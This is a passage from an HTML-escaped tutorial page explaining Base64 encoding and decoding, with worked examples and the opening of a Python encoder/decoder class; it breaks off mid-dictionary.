    &lt;td class=&quot;tg-g1fv&quot;&gt;100101&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;l&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;110101&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;1&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;000110&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;G&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;010110&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;W&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;100110&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;m&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;110110&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;2&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;000111&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;H&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;010111&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;X&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;100111&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;n&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;110111&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;3&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;001000&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;I&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;011000&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;Y&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;101000&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;o&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;111000&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;4&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;001001&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;J&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;011001&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;Z&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;101001&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;p&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;111001&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;5&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;001010&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;K&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;011010&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;a&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;101010&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;q&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;111010&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;6&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;001011&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;L&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;011011&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;b&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;101011&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;r&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;111011&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;7&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;001100&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;M&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;011100&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;c&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;101100&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;s&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;111100&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;8&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;001101&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;N&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;011101&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;d&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;101101&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;t&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;111101&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;9&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;001110&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;O&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;011110&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;e&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;101110&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;u&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;111110&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;+&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;001111&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;P&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;011111&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;f&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;101111&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;v&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;111111&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;/&lt;/td&gt;
  &lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;encoding&quot;&gt;Encoding&lt;/h2&gt;

&lt;p&gt;Let’s start with encoding. Below are the steps necessary to convert a text-based message into Base64. Of course, any binary data, such as a jpg file for instance, can be encoded in Base64. However, in this post we are going to focus on encoding text with Base64 in order to keep things simple. Since Base64, as mentioned above, is a binary-to-text encoding scheme, we will first need to convert our text to a binary representation.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Convert each character to its ASCII code in binary representation.&lt;/li&gt;
  &lt;li&gt;Join the resulting binary strings into a single string.&lt;/li&gt;
  &lt;li&gt;Add zeros to the end of the binary string to ensure the number of bits is a multiple of 6.&lt;/li&gt;
  &lt;li&gt;Break this binary string into 6-bit octets.&lt;/li&gt;
  &lt;li&gt;Convert these 6-bit octets into their base64 character according to the table.&lt;/li&gt;
  &lt;li&gt;Join these base64 characters into a single string, adding any necessary ‘=’ characters for padding.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Once we have each character in our text message encoded as binary data, we join each of those binary strings into one binary string. We will next break this string into groups of six bits (sextets), however before we do so, we need to ensure that the number of bits in the string is evenly divisible by six. If not, we will add just enough zeroes to the end of the string until it is. It turns out that in the case of Base64, there are only three possibilites required: adding no zeroes, adding two zeroes or adding four zeroes. Once we have this new binary string, we then break it down into sextets. Then we use the above table to convert these sextets into their respective Base64 characters. Lastly, we append a number of ‘=’ characters to indicate how many zeroes we used as padding in step 3. If we appended no zeroes, we add no ‘=’ characters. If we appended two zeroes, we add a single ‘=’. If we appended 4 zeroes, we add two ‘=’ characters. A simple way to remember this is to divide the number of zeroes appended by 2 to get the number of ‘=’ to add.&lt;/p&gt;

&lt;h3 id=&quot;example-1&quot;&gt;Example 1&lt;/h3&gt;

&lt;p&gt;The best way to understand this is to look at an example. Say that we wanted to encode the following short text in Base64: “Hi!” How would we do it? First, we need to convert each character to its ASCII code in binary representation. The following table shows the results:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Character&lt;/th&gt;
      &lt;th&gt;ASCII (decimal)&lt;/th&gt;
      &lt;th&gt;ASCII (binary)&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;‘H’&lt;/td&gt;
      &lt;td&gt;72&lt;/td&gt;
      &lt;td&gt;01001000&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;‘i’&lt;/td&gt;
      &lt;td&gt;105&lt;/td&gt;
      &lt;td&gt;01101001&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;’!’&lt;/td&gt;
      &lt;td&gt;33&lt;/td&gt;
      &lt;td&gt;00100001&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Next, we join these binary codes into a single string, which yields:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;010010000110100100100001&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now we need to append zeroes to this string until the number of bits is a multiple of 6. However, you will notice in this case that we have 24 bits, which is already a multiple of 6. As a result, we do not need to add any trailing zeroes.&lt;/p&gt;

&lt;p&gt;Next, we need to break this string down into groups of 6 bits (sextets). Doing so yields four sextets:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;010010&apos;, &apos;000110&apos;, &apos;100100&apos;, &apos;100001&apos;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Next, we use our Base64 table above to convert these to their corresponding Base64 codes. This yields the following string:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;SGkh&apos;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Lastly, we need to append the ‘=’ character to this string either once or twice depending upon how many zeroes we added as padding in step 3. In this case we did not need to add any zeroes, so we also do not need to add any ‘=’ characters. So we are done. The Base64 encoding of ‘Hi!’ is ‘SGkh’. You can verify this yourself using an online Base64 encoder.&lt;/p&gt;

&lt;p&gt;This was a very simple example due to the fact that it did not require padding. Let’s now look at another example where padding is necessary.&lt;/p&gt;

&lt;h3 id=&quot;example-2&quot;&gt;Example 2&lt;/h3&gt;

&lt;p&gt;Say that we wanted to encode the string ‘Test’.&lt;/p&gt;

&lt;p&gt;We start by again converting each character to its ASCII code in binary:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Character&lt;/th&gt;
      &lt;th&gt;ASCII (decimal)&lt;/th&gt;
      &lt;th&gt;ASCII (binary)&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;‘T’&lt;/td&gt;
      &lt;td&gt;84&lt;/td&gt;
      &lt;td&gt;01010100&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;‘e’&lt;/td&gt;
      &lt;td&gt;101&lt;/td&gt;
      &lt;td&gt;01100101&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;’s’&lt;/td&gt;
      &lt;td&gt;115&lt;/td&gt;
      &lt;td&gt;01110011&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;‘t’&lt;/td&gt;
      &lt;td&gt;116&lt;/td&gt;
      &lt;td&gt;01110100&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Now we join these together into a single string:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;01010100011001010111001101110100&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Note that there are 4 * 8 = 32 bits in this string, which is not a multiple of 6. The next largest multiple of 6 is 36. Since this is 4 greater than 32, we must add 4 zeroes to the end of our binary string, yielding:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;010101000110010101110011011101000000&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now we can break this binary string into sextets:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;010101&apos;, &apos;000110&apos;, &apos;010101&apos;, &apos;110011&apos;, &apos;011101&apos; &apos;000000&apos;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Next, we encode these using our Base64 table, which gives the following string:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;VGVzdA&apos;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We’re not quite done. Remember that we had to add four zeroes as padding in step 3 in order to ensure that the number of bits in our binary string was a multiple of 6. Whenever we add four zeroes, we have to add two ‘=’ characters to the end of our Base64 encoded string to signify this. After doing so, we have our Base64 encoded string of:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;VGVzdA==&apos;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Again, go ahead and verify that this is correct using an online Base64 encoder.&lt;/p&gt;

&lt;p&gt;We did not cover an example where the number of zeroes required as padding was 2, but just remember that when we add 2 zeroes as padding, we must append a single ‘=’ to the end of our Base64 encoded string.&lt;/p&gt;

&lt;p&gt;Now let’s move on to the Base64 decoding process.&lt;/p&gt;

&lt;h2 id=&quot;decoding&quot;&gt;Decoding&lt;/h2&gt;

&lt;p&gt;Decoding a Base64 string is simply the inverse of the encoding process.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Determine padding by obtaining the number of ‘=’ characters at the end of the encoded string. This will be zero, two, or four.&lt;/li&gt;
  &lt;li&gt;Convert each character in the encoded string back to binary using the Base64 table.&lt;/li&gt;
  &lt;li&gt;Combine these binary strings into a single binary string.&lt;/li&gt;
  &lt;li&gt;Remove trailing zeroes from this string based on the number of ‘=’ characters in the original encoded string&lt;/li&gt;
  &lt;li&gt;Break this binary string down into 8-bit octets.&lt;/li&gt;
  &lt;li&gt;Convert these 8-bit binary strings back into ASCII characters&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let’s again look at a simple example.&lt;/p&gt;

&lt;h3 id=&quot;example-1-1&quot;&gt;Example 1&lt;/h3&gt;

&lt;p&gt;We’ll decode the Base64 encoded string ‘Y3liZXI=’.&lt;/p&gt;

&lt;p&gt;First, we see a single ‘=’ character at the end. We know that this indicates padding of two zeroes. Keep that in mind.&lt;/p&gt;

&lt;p&gt;Next, we convert each character back to its binary equivalent using our Base64 table. Doing so yields the following 6-bit sextets:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Encoded character&lt;/th&gt;
      &lt;th&gt;Binary&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;‘Y’&lt;/td&gt;
      &lt;td&gt;011000&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;‘3’&lt;/td&gt;
      &lt;td&gt;110111&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;‘l’&lt;/td&gt;
      &lt;td&gt;100101&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;‘i’&lt;/td&gt;
      &lt;td&gt;100010&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;‘Z’&lt;/td&gt;
      &lt;td&gt;011001&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;‘X’&lt;/td&gt;
      &lt;td&gt;010111&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;‘I’&lt;/td&gt;
      &lt;td&gt;001000&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Now we combine these into a single string:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;011000110111100101100010011001010111001000&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Next, we remove the number of trailing zeroes as indicated by the padding. As mentioned in step 1 we had a single ‘=’ character, which indicates padding of two zeroes. Remove them:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0110001101111001011000100110010101110010&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now we break this string into 8-bit octets:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;01100011&apos;, &apos;01111001&apos;, &apos;01100010&apos;, &apos;01100101&apos;, &apos;01110010&apos;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Lastly, we convert these back into ASCII characters:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Binary&lt;/th&gt;
      &lt;th&gt;ASCII code&lt;/th&gt;
      &lt;th&gt;ASCII character&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;01100011&lt;/td&gt;
      &lt;td&gt;99&lt;/td&gt;
      &lt;td&gt;‘c’&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;01111001&lt;/td&gt;
      &lt;td&gt;121&lt;/td&gt;
      &lt;td&gt;‘y’&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;01100010&lt;/td&gt;
      &lt;td&gt;98&lt;/td&gt;
      &lt;td&gt;‘b’&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;01100101&lt;/td&gt;
      &lt;td&gt;101&lt;/td&gt;
      &lt;td&gt;‘e’&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;01110010&lt;/td&gt;
      &lt;td&gt;114&lt;/td&gt;
      &lt;td&gt;‘r’&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The decoded message is ‘cyber’.&lt;/p&gt;

&lt;h2 id=&quot;rolling-our-own-base64-encoderdecoder-in-python&quot;&gt;Rolling our own Base64 encoder/decoder in python&lt;/h2&gt;

&lt;p&gt;Now that we have an understanding of how Base64 works, let’s cement our knowledge by writing a Base64 encoder/decoder in python.&lt;/p&gt;

&lt;p&gt;A few caveats before we start. First, this python script will be for educational purposes only. Although you &lt;em&gt;could&lt;/em&gt; use it to encode text-based messages, you would certainly prefer to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64&lt;/code&gt; module in python or the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64&lt;/code&gt; command in bash for example. Second is that Base64 encoding is a binary-to-text scheme. So you can use it to encode any binary data like a jpg file or an executable. For sake of example, our Base64 encoder/decoder will only be capable of accepting text-based messages. Third, the code we write will not be as efficient as you might find in the python &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64&lt;/code&gt; module (or other versions). Our code will be intentionally expository to aid the learning process.&lt;/p&gt;

&lt;p&gt;We’ll encapsulate our code in a python class. This class will have one attribute and two methods. The attribute will be our Base64 table represented as a dictionary. It will have a method to encode and one to decode. I’ve gone ahead and imported the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ceil&lt;/code&gt; function from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;math&lt;/code&gt; module as we’ll need that for our encoding method. I’ve also imported the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64&lt;/code&gt; module. We’ll use that for testing to ensure that our home-brewed encoder/decoder is working properly.&lt;/p&gt;

&lt;p&gt;Below is the boilerplate script:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/python3
&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;math&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ceil&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;base64&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Base64e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__init__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;


  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;


  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Here I name our class ‘Base64e’, where our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__init__()&lt;/code&gt; and encode/decode methods our not yet defined. Let’s begin by coding our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__init__()&lt;/code&gt; method. Here we will define the dictionary to represent our Base64 encoding table. Any new instance of our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Base64e&lt;/code&gt; class will automatically contain this dictionary. This is straightforward:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Base64e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__init__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base64_encoding&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&apos;000000&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;A&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;010000&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;Q&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;100000&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;g&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;110000&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;w&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&apos;000001&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;B&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;010001&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;R&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;100001&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;h&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;110001&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;x&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&apos;000010&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;C&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;010010&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;S&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;100010&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;i&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;110010&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;y&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&apos;000011&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;D&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;010011&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;T&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;100011&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;j&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;110011&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;z&apos;&lt;/span&gt;&lt;span 